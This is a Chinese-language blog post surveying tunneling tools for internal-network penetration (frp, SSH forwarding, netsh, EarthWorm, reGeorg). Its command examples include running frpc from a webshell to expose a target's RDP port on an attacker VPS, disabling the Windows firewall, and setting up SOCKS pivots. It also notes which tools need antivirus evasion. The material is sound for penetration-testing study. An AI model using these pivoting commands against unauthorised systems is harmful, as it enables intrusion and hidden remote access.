內網滲透中常用的隧道工具
VSole2021-12-01 21:38:27
frp
項目地址
https://github.com/fatedier/frp/
簡介
- frp 是一個可用于內網穿透的高性能的反向代理應用,支持 tcp, udp 協議,為 http 和 https 應用協議提供了額外的能力,且嘗試性支持了點對點穿透
- 跨平臺支持linux,win,mac
- 類似于ngrok,運維、開發人員經常使用它管理內網機器和調試程序,例如將內網的22,3389轉發到公網,開發人員將本地web服務轉發到公網調試,msf/rat遠控的內網上線,可以代替前幾年流行的”內網通”服務
- 優點:不需要免殺,支持加密傳輸
基本用法
- 在有公網ip的vps上部署服務端,然后在目標的內網機器上運行客戶端即可反連公網機器,根據配置把內網中的目的端口轉發到公網的那臺機器上。網上也有一些免費和收費frp服務,可以免去自己部署服務端。
- 簡單示例:
- 服務端和客戶端均支持配置文件ini運行和命令行運行,下面示例為命令行。
服務端:./frps -p <服務監聽端口> -t <token>客戶端:./frpc tcp -s <服務端ip>:<服務端端口> -r <在服務端監聽的對應端口> -i <內網地址> -l <內網端口> -t <token> --ue --uc
- –ue –uc 分別為加密和壓縮(use_encryption && use_compression)
- 例如通過webshell轉發出該機器的3389端口
你的機器:./frps -p 7890 -t woshitokenWebshell: frpc.exe tcp -s 1.1.1.1:7890 -r 9999 -i 127.0.0.1 -l 3389 -t woshitoken --ue --uc
- 此時訪問你機器的9999端口,即可訪達目標機器的3389端口。
- 更多參數用法查看github項目。
SSH
簡介
- SSH 會自動加密和解密所有 SSH 客戶端與服務端之間的網絡數據。但是,SSH 還同時提供了一個非常有用的功能,這就是端口轉發
- 優點:linux自帶,傳輸加密,支持socks代理
用法示例
相關參數:
-C :壓縮數據傳輸。-f :后臺認證用戶/密碼,通常和-N連用,不用登錄到遠程主機。-N :不執行腳本或命令,通常與-f連用。-g :在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。-L :本地轉發-R :遠程轉發-D :動態轉發,即socks代理
本地轉發(本地建立監聽)
ssh -C -f -N -g -L <本地監聽ip>:<本地端口>:<遠程ip>:<遠程端口> 用戶名@目標IP -p <ssh端口>ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.100:3389 root@192.168.2.101 -p 22
遠程轉發(遠端建立監聽)
ssh -C -f -N -g -R <遠程ip>:<遠程端口>:<本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口>ssh -C -f -N -g -R 0.0.0.0:1234:192.168.5.2:3389 root@192.168.2.101 -p 22
注:如果遠端不能監聽0.0.0.0,以下兩個方法:
1. 需要修改 ssh 配置/etc/ssh/sshd_config GatewayPorts 項寫為 yes 重啟ssh后即可監聽0.0.0.0 2. 使用rinetd把監聽在127.0.0.1轉發到0.0.0.0上
動態轉發(socks)
ssh -C -f -N -g -D <本地ip>:<本地端口> 用戶名@目標IP -p <ssh端口>ssh -C -f -N -g -D 0.0.0.0:1080 root@192.168.2.101 -p 22
socks代理上本地的1080端口,即可訪問192.168.2.101的內網環境
netsh
簡介
- netsh是Network Shell的縮寫,是windows為我們提供的功能強大的網絡配置命令行工具。
- 支持tcp,udp 正向端口轉發和修改防火墻規則,沒有反向轉發的功能,不支持socks。
- 優點:win自帶,支持ipv4和v6。
用法
- 在xp/2003下使用,要先安裝ipv6,裝完后需要重啟機器才能生效
netsh interface ipv6 install
管理防火墻
- 對于xp/2003的操作命令不同與之后的系統,而且xp/2003的防火墻不區分出站入站
netsh firewall show state 可查看防火墻的狀態,從顯示結果中可看到防火墻各功能模塊的禁用及啟用情況。netsh firewall set opmode disable 用來禁用系統防火墻netsh firewall set opmode enable 可啟用防火墻。 netsh firewall add portopening TCP <端口號> "規則名稱" 允許xx端口出入站netsh firewall delete portopening TCP <端口號> 刪除該條規則
- 對于 2003 以后的系統,命令如下
netsh advfirewall show allprofiles 查看防火墻的狀態netsh advfirewall set allprofiles state on 開啟防火墻netsh advfirewall set allprofiles state off 關閉防火墻 netsh advfirewall firewall add rule name="規則名稱" dir=in(in為入站,out為出站) action=allow(allow為放行,block為阻止) protocol=TCP localport=<端口號> 添加規則netsh advfirewall firewall delete rule name="規則名稱" dir=in protocol=TCP localport=<端口號> 刪除規則
端口轉發
netsh interface portproxy show all 查看所有已設置的轉發規則netsh interface portproxy add v4tov4 listenport=<監聽端口> connectaddress=<將要轉發的ip> connectport=<將要轉發的端口> 添加轉發規則netsh interface portproxy delete v4tov4 listenport=<轉發的端口> 刪除規則
ew(EarthWorm)
項目地址
https://github.com/rootkiter/EarthWorm
https://github.com/rootkiter/EarthWorm/blob/master/server/download/ew.zip
簡介
- 支持正反向tcp端口轉發,類似lcx(htran)
- 支持反向socks代理
- 缺點:流量不加密,需要免殺
用法簡要說明
-l 本地要監聽的端口-f 要主動連接的ip-g 要主動連接的端口-d 要反彈到的ip-e 要反彈到的端口-s 工作模式 工作模式支持如下:lcx_tran 正向tcp端口轉發,監聽在本地lcx_slave 反向tcp轉發客戶端lcx_listen 反向tcp服務端ssocksd 創建正向socks代理服務端,監聽在本地,直接把當前環境socks代理出去rssocks 創建反向socks代理服務端rcsocks 反向socks代理客戶端
reGeorg&ABPTTS
項目地址
https://github.com/sensepost/reGeorg
https://github.com/nccgroup/ABPTTS
簡介
兩款針對Web應用程序的HTTP隧道,使用方法簡單,詳情查看github項目
VSole
網絡安全專家